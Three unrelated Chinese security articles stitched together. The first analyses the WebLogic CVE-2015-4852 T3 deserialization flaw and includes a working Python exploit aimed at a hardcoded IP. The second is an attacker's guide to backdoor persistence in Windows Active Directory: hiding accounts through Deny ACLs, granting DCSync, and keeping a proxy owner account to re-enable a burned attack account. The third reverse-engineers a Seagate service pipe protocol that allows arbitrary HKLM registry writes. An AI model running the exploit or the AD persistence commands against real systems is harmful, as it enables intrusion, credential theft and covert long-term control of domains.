CVE-2015-4852 Weblogic T3 反序列化分析
0x01 前言 看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞,最近正好有一些闲暇时间,可以看一看。 因为环境上总是有一些小问题,所以会在本地和云服务器切换着调试。 0x02 环境搭建 太坑了,我的建议是用本地搭建的方法,因为用 docker 搭建,会产生依赖包缺失的问题,本地搭建指南 https://www.penson.top/article/av40 这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦 链接:https://github.com/QAX-A-Team/WeblogicEnvironment 下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中 JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html 我这里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到文件夹里面,如图 首先要先改写一下 Dockerfile,原作者写的 Dockerfile 有一点小问题 # 基础镜像 FROM centos:centos7 # 参数 ARG JDK_PKG ARG WEBLOGIC_JAR # 解决libnsl包丢失的问题 # RUN yum -y install libnsl # 创建用户 RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle # 创建需要的文件夹和环境变量 RUN mkdir -p /install && mkdir -p /scripts ENV JDK_PKG=$JDK_PKG ENV WEBLOGIC_JAR=$WEBLOGIC_JAR # 复制脚本 COPY scripts/jdk_install.sh /scripts/jdk_install.sh COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh COPY jdks/$JDK_PKG . COPY weblogics/$WEBLOGIC_JAR . # 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本 RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scr # 脚本设置权限及运行 RUN chmod +x /scripts/jdk_install.sh RUN chmod +x /scripts/weblogic_install.sh RUN chmod +x /scripts/create_domain.sh RUN chmod +x /scripts/open_debug_mode.sh # 安装JDK RUN /scripts/jdk_install.sh # 安装weblogic RUN /scripts/weblogic_install.sh # 创建Weblogic Domain RUN /scripts/create_domain.sh # 打开Debug模式 RUN /scripts/open_debug_mode.sh # 启动 Weblogic Server # CMD ["tail","-f","/dev/null"] CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"] EXPOSE 7001 接着起环境 docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 再把 docker 当中的一些依赖文件夹拷出来,但是这一步经过我测试,感觉 docker 当中的 lib 存在一定问题,所以后续把 weblogic 的库拿进来就可以了,对应的代码我会放在 GitHub 上,避免师傅们踩坑。 0x03 基础知识 关于 Weblogic 首先说一说 Weblogic 吧,Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。 和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多东西,要知道,在 Tomcat 当中,这些都是需要自己写代码的。 T3 协议 T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。 在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。 我们可以拿 CVE-2015-4852 的 EXP 来讲解 EXP 如下 import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command):    JAR_FILE = '.\ysoserial.jar'    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)    return popen.stdout.read() def get_payload2(path):    with open(path, "rb") as f:        return f.read() def exp(host, port, payload):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect((host, port))    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()    sock.sendall(handshake)    data = sock.recv(1024)    pattern = re.compile(r"HELO:(.*).false")    version = re.findall(pattern, data.decode())    if len(version) == 0:        print("Not Weblogic")        return    print("Weblogic {}".format(version[0]))    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志    payload = data_len + t3header + flag + payload    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度    sock.send(payload) if __name__ == "__main__":    host = "81.68.120.14"    port = 7001    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21    command = "Calc"    payload = get_payload1(gadget, command)    exp(host, port, payload) 这里有一个小坑,我直接运行 py 程序是不行的,会回显 Not Weblogic,因为 python socket 如果是频繁发包,会被服务端所拒绝,所以需要以 debug 模式运行。当然如果增添 sleep 应该也是可以实现的。 Weblogic 请求包头 我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图 这一个就是它请求包的头 t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下 HELO:10.3.6.0.false AS:2048 HL:19 HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。 Weblogic 请求主体 请求主体,也就是发送的数据,这些数据分为七部分内容,此处借用 z_zz_zzz师傅的http://drops.xmd5.com/static/drops/web-13470.html文章中的一张图 第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包 在 ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。 而此处,如果有多个 Java 序列化的数据,可以对任一一个数据进行攻击即可。 0x04 漏洞分析与调试 寻找尾部漏洞点 毕竟是反序列化的漏洞,思考了一下从两个点入手。 1、是否存在 Jndi 注入2、是否有能够命令执行的利用点 Jndi 注入的链尾探索 怀着这样的思路,先全局搜索 Jndi 关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。 这里有一个 JndiServiceImpl 类,看着不错,点进去看看,它的 invoke() 方法同样吸引人,点过去之后发现疑似存在 jndi 注入 不过这里虽然参数 ———— this.implJndiName 是可控的,但是无法进行攻击,因为只能对 java:comp/env/ 进行探测,无法对 rmi, jndi, ldap 三者进行有效的调用,初步告吹了。 重新换一个类,这里我找到的是 JndiAttrs 类,在它的构造函数中存在调用 ldap 的现象,在第 40 行 从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而 providerURL 最后会被 put 进 env 当中,env 是一个 Properties 类 继续往下分析,env 作为 InitialDirContext 类的构造函数的传参。 一路跟进,是到了 InitialContext 的构造函数,跟进 init() 方法 跟进 getDefaultInitCtx() 方法,再跟进 NamingManager.getInitialContext(myProps),发现只是 loadClass 了一个对象,寄,白给。 诸如此类链尾的尝试还有很多,师傅们可以自行尝试,我这只是在抛砖引玉。由于篇幅限制,后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。 漏洞分析 通过命令 ls -r ./* | grep -i commons,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。 所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在 InboundMsgAbbrev#readObject 处,下个断点开始调试。 Weblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的,不过有了前面 z_zz_zzz 师傅文章中的那张图,在理解上能够变得简单得多。 开始调试 先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息 继续跟进 getServerChannel() 方法 我们可以关注一下目前的 this.connection 是什么 connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等 跟进 getChannel() 方法,开始处理 T3 协议 T3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法 一路跟进至 InboundMsgAbbrev#resolveClass() 中,这里的调用栈如下 resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm) readNonProxyDesc:1610, ObjectInputStream (java.io) readClassDesc:1515, ObjectInputStream (java.io) readOrdinaryObject:1769, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readObject:66, InboundMsgAbbrev (weblogic.rjvm) read:38, InboundMsgAbbrev (weblogic.rjvm) resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,此时的 var1,正是我们的 AnnotationInvocationHandler 类 这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了 Class.forName() 的操作之后),才会开始进行真正的反序列化 后续就是熟悉的 CC1 链环节,这里不再展开 PoC 理解 PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。 1、Header,这代表了数据包长度2、T3 Header3、反序列化标志,也就是 fe 01 00 00 所以这三段话是这么来的 header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") 0x05 漏洞修复 在 resolveClass 处打补丁 在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。 如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。 通过 Web 代理与 nginx 等负载均衡防御 Web 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是,不过负载均衡需要自己手动设置。 黑名单 bypass Oracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。 黑名单中的类不会被反序列化 绕过思路如下 其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。 0x06 小结 从原理角度上来说还是比较简单的,不过理解 T3 的传输,并且构造恶意 PoC 的过程是非常值得学习的,CVE-2015-4852 为一些类似的攻击提供了思路。
如何在Windows AD域中驻留ACL后门
前言 当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。 ACL介绍 ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。 https://learn.microsoft.com/zh-cn/windows/desktop/SecGloss/s-gly包含与https://learn.microsoft.com/zh-cn/windows/win32/secauthz/securable-objects关联的安全信息。 安全描述符由 https://learn.microsoft.com/zh-cn/windows/desktop/api/Winnt/ns-winnt-security_descriptor 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息:: 1、对象所有者和主组https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-identifiers (SID) 。 2、指定允许或拒绝特定用户或组的访问权限的 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists 。 3、一个 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists ,指定为对象生成审核记录的访问尝试的类型。 4、一组控制位,用于限定安全描述符或其单个成员的含义。 隐藏安全描述符 当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组: 可以在GUI上对所有者进行修改,也可以使用powerview进行修改: Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo 修改完成后: 因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerview的Add-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow: 当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图: 上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数: .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) 设置参数定义: [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, 删除之前的默认的Allow: 最后把AccessControlType参数替换之前的ControlType: 现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。 当尝试域管添加一个对jumbo用户Deny所有权限的ACL后: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny 可以发现域管也没权限查看jumbo用户的属性了: 当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL: 现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerview的Remove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数: 进行删除: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny 那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的: 上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可: 现在所有用户对其都没有查看权限了: 当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的: 现在通过net user命令已经看不到jumbo这个用户了: 在“用户和计算机”里看用户长这样: 从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-special-identities-groups#everyone,是一个属于https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids的用户,其对应的SID为S-1-1-0: 当尝试使用powerview的Add-DomainObjectAcl方法是无法完成给everyone用户添加ACL的: 通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到: 但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:       if ($PrincipalIdentity -notmatch '^S-1-.*') {           $PrincipalSearcherArguments = @{               'Identity' = $PrincipalIdentity               'Properties' = 'distinguishedname,objectsid'           }           if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }           if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }           if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }           if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }           if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }           if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }           if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }           $Principal = Get-DomainObject @PrincipalSearcherArguments           if (-not $Principal) {               throw "Unable to resolve principal: $PrincipalIdentity"           }           elseif($Principal.Count -gt 1) {               throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"           }           $ObjectSid = $Principal.objectsid           Write-Host ($ObjectSid)       }       else {           Write-Host "..sid.."           $ObjectSid = $PrincipalIdentity       }               $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) 现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL: Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny Remove-DomainObjectAcl方法同理。 隐藏主体 通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里: 然后给这个OU设置everyone拒绝读取权限即可: 遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。 Dcsync Dcsync实际上就是给用户设置两条扩展权限,分别为: DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) 当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可: 代理账号 上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。 首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good: Set-DomainObjectOwner -identity attack -OwnerIdentity good 给attack账号添加dcsync权限: Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow 设置attack都不可操作: Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny 这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。 总结 本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。
利用Seagate service获得system shell
这是挖掘 CVE-2022-40286 漏洞的记录。 闲来无事,我上网随便找了一个驱动来进行测试。我想找一个知名公司的产品,但是又不能是太偏太难懂的东西。 我最先发现了一个叫"Seagate Media Sync"的软件,这是一个将文件复制到希捷无线硬盘上的工具。之后我安装并运行了该软件,然后我发现它创建了一个名为"MediaAggreService.exe"的后台SYSTEM服务。 然后发现这个工具还有一个UI安装程序。 我们一般常见的查找权限提升的方式是对低权限的进程(UI)和高权限服务(或驱动)之间的内部通信进行攻击开始的。要想使用这个方法,首先第一步我们要能够监控的来自UI的合法通信。然而,由于我没有与之配套的希捷硬盘,我们只能使用这个程序中非常少的功能。 通过查看进程资源管理器发现,该服务还包含了一个处理MEDIA_AGGRE_PIPE.PIP管道消息的句柄。猜测这个管道可能是用于用户界面(stxmediamanager.exe)和服务(MediaAggreService.exe)之间的通信。 通过观察用户界面,似乎我们可以点击的唯一按钮就是 "刷新"按钮。希望这能够让我们监控到一些服务通信。我们将调试器连接到用户界面进程,并在CreateFile和WriteFile函数上设置断点。 如上所示,当我们点击 "刷新 "按钮时,UI进程使用CreateFile函数进行了一个命名管道连接。我们可以检查之后调用的WriteFile函数来记录消息数据的内容。以下是写数据操作。 根据以上内容,我们可以猜测,第一个消息是一个4字节长度的字段,表示消息体的大小。第二条信息则是真实的命令数据。在这个事件中,它正在发送一条消息体长度为8个字节的命令。最初的4字节长度值与第二个WriteFile调用的nNumberOfBytesToWrite参数一致,这正符合我们的预期。我们现在可以检查该信息传递过程中的接收端。在MediaAggreService.exe中的ConnectNamedPipe函数上设置一个断点,该断点应该会在UI客户端调用CreateFile函数时触发。 然后我们现在可以在ReadFile函数上设置一个断点,这样就可以看到从客户端发送的数据。 现在我们已经找到了该服务中读取数据的代码,然后我们可以跟踪代码的执行流程。由于目前我们只能访问用户界面中的 "刷新 "命令,因此我们很有必要再进行一些静态分析,看看还有哪些命令可用。 在花了一些时间分析代码后,我可以看到每个命令都是以一个16位的签名(0x4B5C)开始的。之后是一个16位的 主命令ID,然后是一个32位的次命令ID。 001145BB | BA 5C4B0000             | mov edx,4B5C                                     | set expected command header signature: 0x4B5C 001145C0 | 0FB708                 | movzx ecx,word ptr ds:[eax]                     | get actual command header signature value 001145C3 | 66:3BCA                 | cmp cx,dx                                       | check 16-bit signature value 001145C6 | 74 1A                   | je mediaaggreservice.1145E2                     | jump if signature matches 001145C8 | 51                     | push ecx                                         | 001145C9 | 68 D8391200             | push mediaaggreservice.1239D8                   | "[PIPE] Failure: Bad Signature 0x%X" 001145CE | 68 F0841400             | push mediaaggreservice.1484F0                   | 001145D3 | E8 D866FFFF             | call mediaaggreservice.10ACB0                   | add_log_entry 001145D8 | 83C4 0C                 | add esp,C                                       | 001145DB | 33C0                   | xor eax,eax                                     | 001145DD | 5E                     | pop esi                                         | 001145DE | 8BE5                   | mov esp,ebp                                     | 001145E0 | 5D                     | pop ebp                                         | 001145E1 | C3                     | ret                                             | error, return 001145E2 | 57                     | push edi                                         | 001145E3 | FF70 04                 | push dword ptr ds:[eax+4]                       | log minor command ID (32-bit) 001145E6 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                   | log major command ID (16-bit) 001145EA | 50                     | push eax                                         | 001145EB | 68 203A1200             | push mediaaggreservice.123A20                   | "[PIPE] Command major/minor: [0x%X:0x%X]" 001145F0 | 68 F0841400             | push mediaaggreservice.1484F0                   | 001145F5 | E8 7667FFFF             | call mediaaggreservice.10AD70                   | add_log_entry 001145FA | 8B86 D0F00100           | mov eax,dword ptr ds:[esi+1F0D0]                 | 00114600 | C745 F8 00000000       | mov dword ptr ss:[ebp-8],0                       | 00114607 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                   | get major command value (message_base + 0x2) 0011460B | 83C4 10                 | add esp,10                                       | 0011460E | 83F8 10                 | cmp eax,10                                       | check if the major command value is 0x10 00114611 | 74 60                   | je mediaaggreservice.114673                     | jump to 0x10 command switch 00114613 | 83F8 20                 | cmp eax,20                                       | check if the major command value is 0x20 00114616 | 74 1A                   | je mediaaggreservice.114632                     | jump to 0x20 command switch 00114618 | 68 C83A1200             | push mediaaggreservice.123AC8                   | "[PIPE] Failure: Unknown Major Command" 0011461D | 68 F0841400             | push mediaaggreservice.1484F0                   | 00114622 | E8 8966FFFF             | call mediaaggreservice.10ACB0                   | add_log_entry 通过代码我们也可以看到,该服务似乎只支持两个主命令ID -- 0x10和0x20。发现这些线索后,我们现在可以解码我们先前记录的原始的 "刷新 "命令了。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x1) (no message body) 在观察分析了两个主命令组的代码后,我注意到0x10命令组包含了一个调用内部函数 MXOSRVSetRegKey 的条目,这个条目的次命令ID为0x400。 001136E4 | 68 08300000             | push 3008                                               | total message length 001136E9 | 8D47 08                 | lea eax,dword ptr ds:[edi+8]                             | 001136EC | 50                     | push eax                                                 | 001136ED | 8DB3 C0A90100           | lea esi,dword ptr ds:[ebx+1A9C0]                         | 001136F3 | 56                     | push esi                                                 | 001136F4 | E8 5F560000             | call <JMP.&memcpy>                                       | copy command message body 001136F9 | FFB3 C0D90100           | push dword ptr ds:[ebx+1D9C0]                           | 001136FF | 8D83 C0C90100           | lea eax,dword ptr ds:[ebx+1C9C0]                         | 00113705 | 50                     | push eax                                                 | 00113706 | 8D83 C0B90100           | lea eax,dword ptr ds:[ebx+1B9C0]                         | 0011370C | 50                     | push eax                                                 | 0011370D | 56                     | push esi                                                 | 0011370E | FF15 68D31100           | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>]   | execute command 顾名思义,MXOSRVSetRegKey 函数的作用似乎就是设置一个注册表值,如果该键不存在,那么就创建该键。 70F25590 | 55                     | push ebp                                                 | 70F25591 | 8BEC                   | mov ebp,esp                                             | 70F25593 | 83EC 08                 | sub esp,8                                               | 70F25596 | 8D45 F8                 | lea eax,dword ptr ss:[ebp-8]                             | 70F25599 | 50                     | push eax                                                 | 70F2559A | 8D45 FC                 | lea eax,dword ptr ss:[ebp-4]                             | 70F2559D | 50                     | push eax                                                 | 70F2559E | 6A 00                   | push 0                                                   | 70F255A0 | 68 3F000F00             | push F003F                                               | 70F255A5 | 6A 00                   | push 0                                                   | 70F255A7 | 68 6823F370             | push stxmediadevif.70F32368                             | 70F255AC | 6A 00                   | push 0                                                   | 70F255AE | FF75 08                 | push dword ptr ss:[ebp+8]                               | 70F255B1 | C745 FC 00000000       | mov dword ptr ss:[ebp-4],0                               | 70F255B8 | 68 02000080             | push 80000002                                           | 70F255BD | FF15 1020F370           | call dword ptr ds:[<&RegCreateKeyExW>]                   | 70F255C3 | 85C0                   | test eax,eax                                             | 70F255C5 | 75 1E                   | jne stxmediadevif.70F255E5                               | 70F255C7 | FF75 14                 | push dword ptr ss:[ebp+14]                               | 70F255CA | FF75 10                 | push dword ptr ss:[ebp+10]                               | 70F255CD | 6A 01                   | push 1                                                   | 70F255CF | 50                     | push eax                                                 | 70F255D0 | FF75 0C                 | push dword ptr ss:[ebp+C]                               | 70F255D3 | FF75 FC                 | push dword ptr ss:[ebp-4]                               | 70F255D6 | FF15 0420F370           | call dword ptr ds:[<&RegSetValueExW>]                   | 70F255DC | FF75 FC                 | push dword ptr ss:[ebp-4]                               | 70F255DF | FF15 0020F370           | call dword ptr ds:[<&RegCloseKey>]                       | 70F255E5 | 33C0                   | xor eax,eax                                             | 70F255E7 | 8BE5                   | mov esp,ebp                                             | 70F255E9 | 5D                     | pop ebp                                                 | 70F255EA | C3                     | ret                                                     | 通过对这段代码的分析表明,该命令很有可能会允许我们通过客户端进程远程创建或者修改注册表字符串值。注册表的根键被硬编码为HKEY_LOCAL_MACHINE(在RegCreateKeyExW调用中推0x80000002)。在对这些函数进行逆向分析后,我们发现这个命令接收的消息数据格式如下所示。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x400) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> Value (wide-char) 0x3000 -> Value Length (DWORD) 0x3004 -> (Unused) 由于类型字段被硬编码为REG_SZ(在RegSetValueExW调用中push 1),所以上面的命令只支持字符串值 。 我还发现了另一个命令ID(0x410),它允许我们以同样的方式设置REG_DWORD值。这个命令接收的消息数据格式如下。 Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x410) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> (Unused) 0x3000 -> (Unused) 0x3004 -> Value (DWORD) 从上面的命令数据布局可以看出,我们可以推断出这两个命令应该有一个相同的数据结构。我们可以用C结构来表示,如下。 // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; 假设我们的上述猜想都是正确的,这也就意味着,任何用户都能够通过向seagate服务管道发送命令,向HKEY_LOCAL_MACHINE内的任何键写入任意的注册表值。如果这可以实现,这也就意味着我们对于权限的提升就有了一个很明确的利用途径。 